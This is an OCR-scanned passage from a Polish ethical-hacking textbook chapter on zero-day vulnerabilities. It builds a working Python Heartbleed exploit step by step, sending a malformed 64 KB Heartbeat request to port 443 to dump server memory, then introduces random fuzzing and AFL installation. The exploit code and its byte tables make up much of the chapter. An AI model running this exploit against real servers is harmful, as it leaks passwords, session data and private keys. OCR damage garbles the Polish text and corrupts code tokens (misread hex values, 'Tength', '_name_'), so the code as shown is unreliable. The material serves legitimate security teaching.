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Zastosowanie metody
fuzzingqu dla podatnosci
typu zero-day

Zadawanie wlasciwych pytai wymaga tyle samo umiejetnosci,
co udzielanie wlasciwych odpowiedzi.
— Robert Half

CO SIE STANIE, JESLI OSOBA ATAKUJACA PRZESKANUJE SYSTEM I NIE ZNA]J-
DZIE ZADNYCH ZNANYCH LUK W ZABEZPIECZENIACH? CZY NADAL MOZE
UZYSKAC DOSTEP? TAK, ALE BEDZIE MUSIALA ZNALEZC NOWA, NIEZNANA
podatnosé. Te nieznane luki nazywane sg lukami dnia zerowego (ang. zero-day).
Jezeli okaza sie warto$ciowe, mogg by¢ sprzedawane za miliony dolaréw.
Znalezienie luki zero-day czesto zaczyna sie od odkrycia btedu oprogramowania.
Gdy haker odkryje btad, moze go uzyé na swoja korzysé. Atakujacy wykorzystuja
btedy do kradziezy danych, zawieszania programéw, przejmowania kontroli nad
systemami i instalowania zlosliwego oprogramowania. Zaczniemy od stynnego btedu
skutkujacego lukg Heartbleed, ktéra sparalizowata internet. Nastepnie zbadamy
trzy techniki uzywane do wykrywania btedéw: fuzzing, wykonanie symboliczne
i dynamiczne wykonanie symboliczne.
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Studium przypadku: Wykorzystanie luki
Heartbleed dla OpenSSL

Luka Heartbleed wykorzystuje btad oprogramowania w rozszerzeniu OpenSSL
o nazwie Heartbeat. Umozliwia ono klientowi sprawdzenie, czy serwer jest nadal
w trybie online, poprzez wystanie wiadomosci z zagdaniem typu Heartbeat. Jesli
serwer jest w trybie online, odpowiada komunikatem odpowiedzi Heartbeat.

Po tym, jak serwer zapisze wiadomos¢ zadania Heartbeat w swojej pamieci,
odpowiada, odczytujac swoja pamieé i zwracajac te sama wiadomos$é w odpowiedzi
Heartbeat. Uzywa liczby podanej w wiadomosci Heartbeat, aby zdecydowad, ile
pamieci ma odczyta¢ i odestaé.

A oto blad. Jesli haker wysle wiadomo$é z zadaniem Heartbeat z liczba wieksza
niz rzeczywiste zadanie, serwer dolaczy do odpowiedzi dodatkowe czedci swojej
pamieci, z czego niektére moga zawieraé poufne informacje. Ilustruje to rysunek 9.1.

Heartbeat, 9 Heartbeat uzytkownik:admin,

hasto:john, session idea
Heartbeat, 9 privatekey:adfiobnq23495!dsa

Y

Be

Heartbeat, 31 .| Heartbeat uzytkownik:admin,
" | hasto:john, session idea
klucz prywatny:adfiobnq23495!dsa

Bo

er " Heartbeat uzytkownik:
admin, hastfo:john, 31

T
=

a

Rysunek 9.1. Opis podatnosci Heartbleed

Haker byt w stanie odczyta¢ zawarto$é pamieci serwera, ktéra zawierala hasta
i klucze prywatne. Ten typ ataku nazywany jest przecigzeniem bufora (ang. buffer
over-read), poniewaz mozemy czytaé poza granicami wyznaczonego bufora pamieci.
Podobnie w ataku okreslanym jako przepetnienie bufora (ang. buffer overflow)
haker uzywa btedu, aby zapisaé¢ poza wyznaczonym buforem. Hakerzy czesto uzy-
wajg atakéw przepetnienia bufora, aby przesta¢ odwrotne powloki, ktére pozwa-
laja im zdalnie kontrolowaé maszyne. Ten proces nazywa sie zdalnym wykonaniem
kodu (RCE — ang. remote code execution).

Dlaczego nie mozemy naprawi¢ tego btedu poprzez ustawienie wszystkich
wiadomosci Heartbeat na ustalong warto$¢? Poniewaz komunikaty Heartbeat
mierzg réwniez maksymalng jednostke transmisji (MTU — ang. transmission unit)
$ciezki klienta do serwera. MTU to maksymalny rozmiar pakietéw wysylanych
ta Sciezka. Gdy pakiety przechodza przez sie¢, przechodza przez zbiér routeréw.
W zaleznosci od swojej konstrukeji kazdy router obstuguje pakiety do okreslonego
rozmiaru. Jesli router odbiera pakiet, ktéry jest wiekszy niz jego MTU, dzieli go
na mniejsze pakiety w procesie zwanym fragmentacjq. Te pofragmentowane pa-
kiety sa nastepnie po dotarciu do serwera ponownie sktadane. Sondujac sie¢ za
pomoca komunikatéw zadan Heartbeat o réznej dtugosci, klient moze wykryé jed-
nostke MTU wraz z jej $ciezka i uniknaé¢ fragmentacji.
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Tworzenie exploita
Po znalezieniu bledu nastepnym pytaniem jest, jak go uzy¢ na swoja korzysé.
Wykorzystywanie bledu (ang. exploiting) to skomplikowany proces, poniewaz pisa-
nie wlasnych exploitéw wymaga szczegélowego zrozumienia systemu. Wykryty
przez Ciebie blad jest najprawdopodobniej zwigzany z konkretng wersjg oprogra-
mowania, wiec Twdj exploit musi réwniez dotyczy¢ tej wersji oprogramowania.
Jesli twércey oprogramowania naprawig blad, nie bedzie mozna go juz wykorzystaé.
To jeden z powodéw, dla ktérych agencje rzadowe tak skrywaja swoje mozliwosci.
Znajomo$¢ bledu pozwoli go naprawié, po czym exploit przestanie dziataé. Cykl
jest kontynuowany: stare luki sg tatane, a nowe — znajdowane.

Blad Heartbleed wystepuje przed wydaniem TLS 1.3, wiec wiadomosci TLS
wymieniane podczas ataku Heartbleed sa zgodne z protokotem TLS 1.2.

Rysunek 9.2 przedstawia wiadomosci wymieniane podczas ataku.

Client hello

Server hello
Server certificate

Server key exchange

Klient Serwer

Server key done

—
Ztosliwe zadanie Heartbeat

/
Odpowiedz Heartbeat

Rysunek 9.2. Wiadomosci wymieniane migedzy klientem a serwerem podczas ataku
Heartbleed

Klient inicjuje polaczenie, wysylajac wiadomosé Client Hello, a serwer odpo-
wiada kilkoma wiadomo§ciami, ktére konicza sie wiadomoscia Server Done. Gdy
tylko otrzymamy wiadomo$¢ Server Done, odpowiemy ztosliwym Zadaniem Heart-
beat, po czym serwer wysle kolekcje odpowiedzi Heartbeat zawierajacych ujaw-
nione informacje.

Rozpoczecie programu
Napiszmy w Pythonie program, ktéry wykorzystuje btad Heartbleed. Bedzie on
dtuzszy niz te, ktére zwykle piszemy, wiec zamiast pokazywaé pojedynczy blok
kodu, podziele program na sekcje i oméwie kazdg sekcje indywidualnie. Mozesz
zrekonstruowaé program poprzez skopiowanie kazdej sekcji do pliku o nazwie
heartbleed.py.

Zanim zaczniemy kodowaé, oméwmy 0gélng budowe exploita. Zaczniemy od
nawigzania polaczenia przez gniazdo z serwerem. Nastepnie recznie zainicjujemy
polaczenie TLS, wysylajac klientowi wiadomosé hello. Po jej wystaniu bedziemy
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nadal odbieraé¢ pakiety, dopdki nie otrzymamy wiadomosci Server Done. Po jej
otrzymaniu przeslemy pustg wiadomo$¢ Heartbeat o podanej dtugosci 64 KB.
Wybralismy 64 KB, poniewaz jest to maksymalna mozliwa dtugosé i pozwoli nam
wydoby¢ najwiecej informacji. Jesli serwer jest podatny, zwréci 64 KB swojej
pamieci. Poniewaz kazdy pakiet Heartbeat moze zawiera¢ tylko 16 KB danych,
odpowiedz 64 KB zostanie podzielona na cztery pakiety. Wyswietliwszy zawar-
tosé tych pakietéw, mozemy odczytaé fragmenty pamieci serwera.

Zacznijmy od zaimportowania bibliotek, ktérych bedziemy uzywaé w catym
procesie:

import sys

import socket
import struct
import select
import array

Bedziemy korzystaé z wiersza polecen, aby przekaza¢ opcje do naszego pro-
gramu — dlatego bedziemy potrzebowaé biblioteki sys, by odczytac te argumenty.
Nastepnie skorzystamy z bibliotek socket i select, aby nawigza¢ potaczenie TCP
z podatnym serwerem. Na koniec uzyjemy bibliotek struct i array do wyodrebnie-
nia i spakowania bajtéw powigzanych z kazdym polem w otrzymanych pakietach.

Tworzenie wiadomosci Client Hello

Nastepnie zbudujemy wiadomo$¢ klienta (hello), ktéra jest pierwsza wiadomo-
$cia wystang przez protokét TLS 1.2. IETF przedstawia specyfikacje TLS 1.2
w RFC 5246. Uzyjemy jej do skonstruowania pakietéw, ktore bedziemy wysytaé
w tym rozdziale). Rysunek 9.3 pokazuje uktad kazdego bitu w pakiecie Client Hello.
Liczby na gérze przedstawiajg kazdy bit, ponumerowany od 0 do 31, a etykiety
reprezentuja pola i ich pozycje w pakiecie. Takie diagramy czesto mozna znalez¢
w dokumentach RFC IETF, ktére opisujg protokoty.

7] 1 2 3
©1234567890123456789012345678901
e T T
| Typ | Wersja TLS | Pakiet ....
e T T
. Rozmiar | Typ wiadomosci | Wiadomosé ...........
e T T
. Rozmiar | Wersja klienta TLS | Klient ....
e T T
................ Wartos¢ losowa |Dtugos¢ ID sesji]
e T T
| Dlugos¢ zestawu szyfrow | Zestawy szyfrow |
e T T
| Metody kompresji | Rozmiar rozszerzenia |
e T T

Rysunek 9.3. Struktura pakietu uzgadniania TLS
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Wszystkie pakiety w protokole TLS 1.2 zaczynaja sie od pola Typ. To pole iden-
tyfikuje typ wysylanego pakietu. Wszystkim komunikatom powigzanym z uzgad-
nianiem TLS 1.2 przypisywany jest typ 0x16, co oznacza, ze sa one cz¢scia re-
kordu uzgadniania.

Nastepne 16 bitéw reprezentuje wersje TLS, a wartosé 0x0303 — wersje 1.2.
Kolejne 16 bitéw reprezentuje Rozmiar pakietu, ktore jest catkowita dugoscia
pakietu w bajtach. Potem jest 8-bitowy typ wiadomosci (patrz rysunek 9.2, aby
zobaczy¢ liste typéw wiadomosci wymienianych podczas uzgadniania TLS v1.2).
Warto$é 0x01 reprezentuje wiadomosé Client Hello. Dalej sa 24 bity wskazujace
rozmiar komunikatu, tzn. liczbe bajtéw pozostalych w pakiecie. Nastepnie pojawia
sie 16-bitowa wersja TLS klienta, ktéra jest wersjg TLS aktualnie uruchomiong
przez klienta, a takze 32-bitowa jednorazowa wartos¢ losowa dostarczana przez
klienta podczas wymiany TLS.

Nastepne 8 bitéw reprezentuje dtugosé identyfikatora sesji. Identyfikator sesji
identyfikuje ja i jest uzywany do wznawiania nickompletnych lub nieudanych ses;ji.
Nie uzyjemy tego pola, a jak zobaczysz, ustawimy jego dtugos$é na 0x00. Diugos¢
zestawu szyfrow to dtugos¢ w bajtach nastepnego pola, ktére zawiera zestawy
szyfrow. W takim wypadku ustawimy warto$é tego pola na 0x00, 0x02, aby wska-
zaé, ze obstugiwany zestaw szyfréw ma dlugosé 2 bajtéow. Jesli chodzi o typy
szyfréw obstugiwanych przez klienta, uzyjemy wartosci 0x00, 0x2f, co oznacza,
ze klient obstuguje RSA do wymiany kluczy i uzywa 128-bitowego AES i trybu
wigzania blokéw do szyfrowania (zobacz rozdziat 5., gdzie znalazlo sie wiecej in-
formacji na temat trybéw szyfrowania). Ostatnie 16 bitéw reprezentuje rozmiar
rozszerzenia. Nie uzywamy zadnych rozszerzen, wiec ustawimy te warto$é na 0.

Mozemy recznie skonstruowaé pakiet, czyli ustawi¢ kazdy z bajtow (zestaw6w
8 bit6w) samodzielnie. Bedziemy reprezentowaé wartosci jako liczby szesnastkowe.
Skopiuj ponizszy fragment kodu do pliku heartbleed.py; kazdg wartosé szesnast-
kowg przedstawilem za pomocg komentarzy:

clientHello = (

0x16, # Typ: Rekord uzgadniania

0x03, 0x03, #WersaTLS Wersa 1.2

0x00, Ox2f, # Diugos¢ pakietu: 47 bajtow

0x01, # Typ wiadomosci: Client Hello

0x00, 0x00, 0x2b, # Dfugosé wiadomosci: 43 bajty

0x03, 0x03, # Wersja TLSklienta: klient wspierawersig 1.2

# Wartos¢ losowa (jednorazowa)
0x0a, O0xOb, 0xOc, 0x0d, Ox0Oe, Ox0f, 0x10, Ox11, 0x00, 0xO1,
0x02, 0x19, Oxla, Oxlb, Oxlc, Oxld, Oxle, Ox1f, 0x03, 0x04,
0x05, 0x06, 0x07, 0x08, 0x09, 0x12, 0x13, Ox14, O0x15, 0x16,
0x17, 0x18,

0x00, # Diugos¢ identyfikatora segji

0x00, 0x02, # Diugosé zestawu szyfrow: 2 bajty

0x00, Ox2f, # Zestaw szyfrow —TLS RSA WITH_AES 128 CBC_SHA
0x01, 0x00, #Komprega: dfugos¢ Ox1 bajt i 0x00 (bez kompresji)
0x00, 0x00, # Rozmiar rozszerzenia: O, Bez rozszerzen
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Swietnie, stworzylismy wiadomosé Client Hello. Ale zanim ja wyslemy, oméwmy
strukture pakietéw, ktére otrzymamy w odpowiedzi.

Odczytywanie odpowiedzi serwera

Serwer przesle cztery pakiety, z ktérych wszystkie maja podobng strukture do wia-
domosci Client Hello. Pola typu, wersji, dtugosci pakietu i typu wiadomosci poja-
wiaja si¢ w tym samym miejscu.

Mozemy wykryé wiadomosé Server Done, sprawdziwszy typ wiadomos$ci znaj-
dujacy sie w sz6stym bajcie. Warto$é szesnastkowa 0x02 reprezentuje typ Server
Hello, podczas gdy wartosci: 0xOb, 0xOc i 0xOe reprezentuja odpowiednio komu-
nikaty: Server Certificate, Server Key Exchange i Server Done.

Nie jesteSmy zainteresowani nawigzaniem zaszyfrowanego polaczenia, wiec
mozemy ignorowa¢ wszystkie wiadomosci, ktére otrzymujemy z serwera, dopoki
nie otrzymamy wiadomosci Server Done. Gdy ja otrzymamy, bedziemy wiedzie¢,
ze serwer zakonczyl swoja cze$é uzgadniania i mozemy teraz wystaé nasza pierwsza
wiadomosé Heartbeat. Utworz stalg do przechowywania wartosci szesnastkowej
reprezentujacej typ Server Done:

SERVER_HELLO_DONE = 14 #0x0e

Napiszmy funkcje pomocnicza, ktéra zapewni, ze poprawnie odbierzemy
wszystkie bajty zwigzane z pakietem TLS. Ta funkcja pozwoli nam otrzymaé usta-
long liczbe bajtéw z gniazda. Funkcja poczeka, az system operacyjny zakonczy ta-
dowanie bajtéw do bufora gniazda, a nastepnie bedzie kontynuowa¢ odczytywanie
z bufora, az odczyta okre§long liczbe bajtow:

def recv_all(socket, Tength):
response = b''
total_bytes_remaining = length
while total _bytes remaining > 0:
@ readable, writeable, error = select.select([socket], [1, [1)
if socket in readable:
@ data = socket.recv(total_bytes_remaining)
response += data
total_bytes_remaining -= Ten(data)
return response

Uzywamy funkcji select () do monitorowania gniazda @. Po tym, jak system
operacyjny zapisze dane do bufora, funkcja select() pozwoli programowi przejs$é
do nastepnego wiersza. Funkcja select() przyjmuje trzy parametry, ktére repre-
zentujg listy kanatéw komunikacyjnych do monitorowania. Pierwsza lista zawiera
kanaty, ktére mozna odezytaé, druga kanaly, do ktérych mozna pisaé, a trzecia ka-
naly, ktére powinny by¢ monitorowane pod katem bledéw. Gdy gniazdo staje sie
mozliwe do odczytu lub zapisu albo zawiera btedy, jest zwracane przez funkcje
select().

184 Rozdziat 9

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/etyhak
https://helion.pl/rt/etyhak

Nastepnie gniazdo prébuje odczyta¢ pozostate bajty z bufora gniazda @. Para-
metr reprezentuje maksymalng liczbe bajtéw do odczytania. Jesli jest to mniej
niz maksymalna dostepna liczba bajtéw, funkcja socket recv() odezyta tyle bajtow,
ile jest dostepnych.

Kolejna funkcja, ktérg napiszemy, bedzie odczytywac pakiety z gniazda i wyod-
rebniac ich typ, wersje i zawartosé (ang. payload):

def readPacket (socket):
headerLength = 6
payload = b'"'
@ header = recv_all(socket, headerLength)
print (header.hex(" "))
if header !=b'':
@ type, version, length, msgType = struct.unpack('>BHHB', header)
if length > 0:
© payload += recv_all(socket,length - 1)
else:
print("Response has no header")
return type, version, payload, msgType

Odczytujemy szesé bajtow (0, 1, 2, 3, 41 5) z gniazda @. Reprezentuja one pola
nagléwka zwigzane z pakietami TLS 1.2 oméwionymi wezesniej: typ, wersja, dtu-
20$¢ i typ wiadomosci.

Nastepnie uzywamy biblioteki struct, aby rozpakowaé bajty do czterech zmien-
nych @. Znak ,,wickszy niz” (>) méwi bibliotece struct, aby interpretowac bity
w formacie bigendian. (W formacie bigendian najbardziej znaczacy bajt znajduje
sie pod najmniejszym adresem. Pakiety sieciowe sg zwykle przesylane w formacie
bigendian). B m6wi bibliotece struct, aby wyodrebnita pierwszy bajt (8 bitéw)
jako unsigned char (warto$¢ miedzy 0 a 255), a H méwi jej, aby wyodrebnita na-
stepne dwa bajty (16 bitéw) jako unsigned short. Umieszczamy pierwsza 8-bitowsa
warto$¢ w zmiennej type, a kolejne dwa bajty w zmiennej version. Nastepnie umiesz-
czamy kolejne dwa bajty w zmiennej 1ength i ostatni bajt w zmiennej msgType. Pole
dhugosci reprezentuje dtugosé zawartosci. Jesli jest wieksza niz 0 @, mozemy od-
czytaé pozostate bajty zwigzane z pakietem z gniazda.

Wszystkie wiadomosci maja podobng strukture, wiec mozemy ponownie uzy¢
tej samej metody readPacket dla wszystkich kolejnych otrzymywanych pakietow.

Tworzenie ztosliwedo zadania Heartbeat

Po otrzymaniu wiadomosci Server Done mozemy wystaé zadanie Heartbeat.

Rysunek 9.4 przedstawia uktad pakietu Heartbeat. Zaréwno pakiety zadania, jak
i odpowiedzi sg zgodne z ta strukturg. Szésty bajt okresla, czy pakiet jest odpo-
wiedzig, czy zgdaniem.
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0 1 2 3
©1234567890123456789012345678901
e T T
| Typ | Wersja |Rozmiar pakietu.
e T T
........... | Zadanie/odpowiedz | Rozmiar zawartos$ci |
e T T
. Rozmiar | Wersja klienta TLS | Klient ....
e T T
| Zawartos¢ |
e T T

Rysunek 9.4. Ztosliwy pakiet Heartbeat

Nasze zlosliwe zadanie wyglada tak:
heartbeat = (

0x18, # Typ: wiadomos¢ heartbeat
0x03, 0x03, #Wergja TLS werga 1.2
€ 0x00, 0x03, #Rozmiar pakietu: 3 bajty
0x01, # Zgdanie Heartbeat
@ 0x00, 0x40  #Rozmiar zawartosci 64 KB
)

Zwr6¢ uwage na rozbiezno$é miedzy rozmiarem pakietu @ — 3 bajty (co repre-
zentuje pozostale bajty w pakiecie) — a rozmiarem zawartosci @ — 64 KB. Czy
rozmiar pakietu nie powinien obejmowaé rozmiaru zawartosci? Jak to mozliwe,
ze ten rozmiar jest wigkszy niz catkowity rozmiar pakietu?

To jest ,.zlosliwy™ aspekt zadania. Przypomnij sobie z rysunku 9.1, Ze okreslamy
rozmiar zawarto$ci na 64 KB. Jest to najwieksza wartosé, jaka mozemy okresli¢ za
pomocg przydzielonych 16 bitéw. Jednak rzeczywisty rozmiar zawarto$ci wynosi 0.

Nieuprawniony odczyt pamieci

Jak wspomniano wezesniej, pakiety Heartbeat sg ograniczone do maksymalnej
dtugosci 16 KB. Oznacza to, ze 64 KB pamieci wyslanej przez serwer w odpo-
wiedzi zostanie podzielone na cztery pakiety po 16 KB. Napiszmy funkcje, ktéra
odczyta wszystkie cztery pakiety z gniazda i polaczy ich zawartos$¢ w calosé o roz-
miarze 64 KB:

def readServerHeartBeat(socket):
payload = b''
for i in range(0, 4):
@ type, version, packet payload, msgType = readPacket(socket)
@ payload += packet payload
return (type, version, payload, msgType)
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Wywotujemy funkcje readPacket () cztery razy, aby odczytaé cztery odpowiedzi
Heartbeat, ktérych oczekujemy od serwera @. Nastepnie taczymy wszystkie za-
warto$ci czterech odpowiedzi w jedno @.

Tworzenie funkcji exploita

Ponizszy fragment kodu implementuje funkcje exploit(), ktéra wysle znieksztal-
cone zadanie Heartbeat i odczyta cztery pakiety odpowiedzi Heartbeat:

def exploit(socket):
@ HEART BEAT RESPONSE = 21 #0x15
payload = b''
@ socket.send(array.array('B', heartbeat))
print("Sent Heartbeat ")
G’ type, version, payload, msgType = readServerHeartBeat(socket)
if type is not None:
if msgType == HEART_BEAT_RESPONSE :
O print(payload.decode('utf-8"))
else:
print("No heartbeat received")
socket.close()

Wartosé typu 0x15 wskazuje pakiet odpowiedzi Heartbeat @. Nastepnie wy-
sylamy znieksztatcone zadanie @, a potem odczytujemy cztery pakiety odpo-
wiedzi @. Na konicu wyswietlamy zawarto$é @.

Sktadanie wszystkiego w catos¢

W metodzie main utworzymy gniazdo, wyslemy pakiety i poczekamy na odpowiedz
Server Done. Skopiuj ten kod do swojego pliku:

def main():
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
@ s.connect ((sys.argv[1], 443))
@ s.send(array.array('B',clientHello))
serverHelloDone = False
© vwhile not serverHelloDone:
type, version, payload, msgType = readPacket(s)
if (msgType == SERVER HELLO DONE):
serverHelloDone = True
O exploit(s)
if _name_ == '_main__":
main()

Po utworzeniu gniazda mozemy sie polaczy¢ z adresem IP, ktéry zostal przeka-
zany jako argument wiersza poleceri @. Polaczymy sie na porcie 443, poniewaz
jest on powigzany z protokolem TLS, ktéry atakujemy. Po polaczeniu inicjujemy
polaczenie TLS v1.2, wysylajac wiadomosé Client Hello @.
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Nastepnie bedziemy odbiera¢ odpowiedzi i sprawdzaé kazdy jej typ, az otrzy-
mamy wiadomo$¢ Server Done €. Na koricu wywotujemy funkcje exploit() @.

Fuzzing

Jak hakerzy znajduja bledy takie jak Heartbleed? Jak wlasnie zostalo pokazane,
proces wykorzystywania tego bledu jest tak skomplikowany, ze zdumiewajgce jest,
ze kazdy mé6glby go odkryé przy uzyciu skutecznych srodkéw. W Google'u jest
nawet caly zesp6t o nazwie Project Zero, ktéry zajmuje sie znajdowaniem luk typu
zero-day. (Jesli Cie to interesuje, zesp6t publikuje nowe luki na swoim blogu pod
adresem hitps://googleprojectzero.blogspot.com/). Oméwmy niektére z narzedzi
i technik uzywanych przez atakujacych i badaczy bezpieczefistwa do wykrywania
bled6w, takich jak Heartbleed, poczawszy od techniki testowania zwane;j fuzzingiem.

Techniki fuzzingu prébuja generowaé dane wejsciowe, ktére eksploruja wszyst-
kie mozliwe $ciezki w programie — w nadziei na odkrycie tej, ktéra spowoduje
awarie programu lub wykaze niezamierzone zachowanie. Fuzzing zostat po raz
pierwszy zaproponowany w 1988 roku przez Bartona Millera, profesora na Uni-
wersytecie Wisconsin. Od tego czasu firmy takie jak Google i Microsoft opracowaly
whasne fuzzery (narzedzia do fuzzingu) i uzywaja fuzzingu do testowania wlasnych
systemow.

Prosty przyktad

Aby zrozumie¢ podstawowg koncepcje fuzzingu, zaczniemy od rozwazenia przy-
kladowej funkcji, pierwotnie zaproponowanej przez Jeffa Fostera z Uniwersytetu
Tufts:

def testFunction(a,b,c):
X, ¥, 2=20,0,0

if (a):
X = -2
if (b <5):
if (not a and c):
y=1
z =2

assert(x +y + z != 3)

Jak widaé, funkcja przyjmuje trzy parametry, a, b i ¢, i uwaza sie, ze zostala
wykonana poprawnie, o ile jej wewnetrzne zmienne (x, y i z) nie sumuja sie do 3.
Jesli tak sie stanie, zostanie wyzwolona instrukcja assert, ktéra na potrzeby tego
przykladu reprezentuje krytyczng awarie.

Naszym celem jako fuzzeréw jest spowodowanie tej awarii. Czy potrafisz okre-
§li¢ wartosci parametréw, ktére spowodujg wyzwolenie instrukeji assert? Jednym
ze sposob6éw okreslenia, ktére dane wej$ciowe to robia, jest wizualizacja Sciezek
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w programie w postaci drzewa. Za kazdym razem, gdy napotykamy instrukcje if,
galezie drzewa reprezentuja dwie mozliwe opcje: jedng, w ktérej gataz jest wy-
bierana, i druga, w ktérej nie jest. Rysunek 9.5 przedstawia $ciezki poprzedniej
funkcji.

X=-2 <5
bl notaandc \
<5
VRN A T~
7=2 y_l Z=|2
| =2
|

Rysunek 9.5. Wizudlizacja sciezek funkcji

Jedna z tych $ciezek wyzwala instrukcje assert. Zastanéw sie, co by sie stalo,
gdybysmy dostarczyli dane wejsciowe 0, 2 i 1 dla a, b i c. W Pythonie 0 jest réw-
nowazne wartosci False, podczas gdy niezerowe liczby catkowite sa uwazane za
True. Sledz sciezke, ktéra dane wejsciowe przechodza przez drzewo. Zwr6é uwage,
Ze ta $ciezka ustawia x na 0, y na 1, a z na 2, co wyzwala instrukcje assert.

Tworzenie wtasneqo fuzzera

W ostatnim przykladzie nie mieliSmy probleméw z wykryciem szkodliwych danych
wejsciowych, ale w wickszych programach moga istnie¢ miliony unikalnych sciezek.
Odkrywanie ich recznie byloby bardzo trudne.

Czy mogliby$my napisaé program do generowania danych wejsciowych te-
stowych? Jednym z podejsé byloby losowe generowanie danych wejsciowych
i czekanie, az przejda wszystkie $ciezki w programie. Ta technika nazywa sie losowym
fuzzingiem (ang. random fuzzing). Stworzymy prosty losowy fuzzer. Nasz program
wygeneruje losowe liczby catkowite i przekaze te wartosci do parametr6w pro-
gramu testowego.

Utworz plik o nazwie myFuzzer.py i dodaj taka zawartosé:

import random as rand

import sys

#

© # Umies¢ tutaj funkcje testowg

.

def main():

while True:

@ a = rand.randint(-200, 200)
b = rand.randint(-200, 200)
¢ = rand.randint(-200, 200)
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print(a,b,c)
testFunction(a,b,c)

if __name__ == "_main_":

main()

Skopiuj pokazang wezesniej funkcje testFunction() do pliku @. Nasz prosty
program do fuzzingu generuje losowa liczbe catkowita dla kazdej zmiennej wej-
$ciowej @. Po wygenerowaniu losowej wartosci dla kazdej zmiennej wyswie-
tlamy dane wejsciowe na ekranie przed wywolaniem testowanej funkcji.

Zapisz plik, a nastepnie uruchom fuzzer za pomoca polecenia:

kali@kali:~$ python3 myFuzzer.py

Fuzzer bedzie przechodzil przez losowe warto$ci, az znajdzie taka, ktéra za-
trzyma program. Eksperymentuj, zwiekszajac zakres od 200 do 400. Im wiecej loso-
wych liczb program musi wzigé pod uwage, tym dtuzej bedzie trwato odkrywanie
danych wejsciowych, ktére powoduja awarie programu. To jedna z wad catkowicie
losowego fuzzingu. Trzeba bedzie przejrze¢ wiele danych wejsciowych, aby odkryé
te przydatne. W dalszej czesci tego rozdziatu przyjrzymy sie sposobom rozwig-
zania tego problemu.

By¢ moze sie zastanawiasz, czy generowanie danych wejsciowych, ktére po-
wodujg awarie programu, jest naprawde takie przydatne. Awarie to pierwszy krok
do odkrycia btedéw, ktére atakujacy czesto moga wykorzystaé. Ale generowanie
danych, ktére powoduja awarie programu, moze byé réwniez samo w sobie bardzo
przydatne. Jesli uda Ci sie spowodowaé awarie aplikacji, mozesz wykona¢ atak
odmowy ustugi (DoS — ang. denial of service). Wyobraz sobie, ze mozesz wykry¢
dane wejsciowe, ktére powoduja awarie serwera DNS Google lub stacji bazowej
sieci komérkowej. To bytoby bardzo cenne.

Albo rozwazmy taki scenariusz: haker paralizuje prace systemu sterowania sy-
gnalizacja $wietlng podtaczong do intranetu. (Co zaskakujace, takie urzadzenia sg
powszechne). Odkrywa pewne dane wejsciowe, ktére powodujg awarie systemu,
i wylgcza w ten sposéb calg kontrolowang przez siebie sygnalizacje $wietlng.
Znajduje sekwencje wejsciowa, ktéra pozwola dowolnie wylaczaé sygnalizacje
$wietlng. Jest to bardzo niebezpieczne i doskonale wyjasnia, dlaczego etyczni
hakerzy powinni przeprowadzaé testy penetracyjne przed ich wdrozeniem.

American Fuzzy Lop

Samo generowanie losowych danych wejsciowych wydaje sie lekkim marnotraw-
stwem, poniewaz przeszukiwanie wickszej przestrzeni danych zajmie wiecej czasu.
Czy nie mogliby$my wykorzysta¢ informacji o Sciezkach programu do wygenero-
wania bardziej konkretnych wartosci? Céz, niektére fuzzery wstawiaja instrukcje,
ktoére rejestruja Sciezki, jakie program wybiera podczas wykonywania. Te fuzzery
probuja generowaé nowe dane wejsciowe, ktére eksploruja wezesniej niezbadane
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$ciezki. Majac zestaw istniejacych wczesniej przypadkéw testowych, zmieniaja
dane wejsciowe — dodaja lub odejmuja losowe informacje, a nowe testy zacho-
wuja tylko wtedy, gdy eksploruja nowe $ciezki w programie.

Jednym z takich fuzzer6w jest American Fuzzy Lop (AFL). Pierwotnie napi-
sany przez Michala Zalewskiego z Google’a, wykorzystuje algorytm genetyczny,
ktéry dostosowuje nowe dane wejsciowe, testujac niezbadane Sciezki. Algorytm
genetyczny to biologicznie inspirowany algorytm uczenia sie. Przyjmuje on dane
wejSciowe, takie jaka = 0,b = 2ic = 1, a nastepnie koduje je jako wektor [0, 2, 1]
podobny do sekwencji genéw w czyim$§ DNA, na przyktad ATGCT. Uzbrojony
w te wektory fuzzer §ledzi liczbe eksplorowanych $ciezek, gdy program uzywa
okreslonej sekwencji wejsciowej, powiedzmy [0, 2, 1]. Podobne geny beda eks-
plorowa¢ podobne $ciezki, zmniejszajac w ten sposéb prawdopodobienistwo eks-
ploracji nowej Sciezki.

Fuzzer tworzy nowe genetyczne sekwencje wejsciowe, wprowadzajac losowosé
do wartosci istniejacych sekwencji. Na przyklad sekwencja wejsciowa [0, 2, 1]
moze si¢ staé [4, 0, 1]. W tym wypadku algorytm genetyczny zdecydowal si¢ zmie-
nié pierwszy i drugi element poprzez — odpowiednio — dodanie 4 i odjecie 2.
Implementacje algorytméw genetycznych czesto pozwalajg programom wybrad,
jak czesto maja wystepowad mutacje i czy wprowadzaé duze, czy male zmiany. Nowa
sekwencja jest nastepnie wprowadzana do programu. Jesli eksploruje ona nowa
$ciezke, dane wejsciowe sa zachowywane, a jesli nie, sg usuwane lub mutowane.

Istnieje wiele innych strategii mutacji, ktére mozesz zbadaé. Na przyklad moga
krzyzowa¢ sekwencje z dwich gendéw, aby stworzyé nowy gen. Wiecej o algoryt-
mach genetycznych mozna przeczytaé w oryginalnym artykule Johna Hollanda
Genetic Algorithms and Adaptation (Adaptive Control of Ill-Defined Systems, 1984).

Instalowanie AFL

Uruchomimy AFL, aby odkryé sekwencje wejsciowa, ktéra powoduje awarie
funkcji testFunction(). Mozesz pobraé¢ AFL z oficjalnej strony Google GitHub.
Sklonuj repozytorium AFL za pomocg polecenia:
kali@kali:~$ git clone https://github.com/google/AFL.git

Nastepnie przejdz do katalogu AFL:
kali@kali:~$ cd AFL

Skompiluj i zainstaluj program przy uzyciu polecenia:

kali@kali:~/AFL$ make && sudo make install

AFL zostal pierwotnie zaprojektowany do fuzzowania programéw Ci C+ +.
AFL kompiluje kod Zrédlowy tych programéw, wptywajac na kod binanrny. Nie
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bedziemy poddawaé tej operacji programéw napisanych w jezyku C. Zamiast
tego zainstalujemy python-afl, program, ktéry rozszerza funkcjonalnosé AFL na
programy w Pythonie. Do zainstalowania modutu uzyjemy aplikacji pip3. Jesli
jeszcze jej nie masz, uruchom to polecenie, aby ja zainstalowaé:

kali@kali:~/AFL$ sudo apt-get install python3-pip
Nastepnie zainstaluj python-afl za pomocg polecenia:
kali@kali:~/AFL$ sudo pip3 install python-afl

Teraz, gdy masz zainstalowany python-afl, uzyj go do fuzzowania funkcji. Na
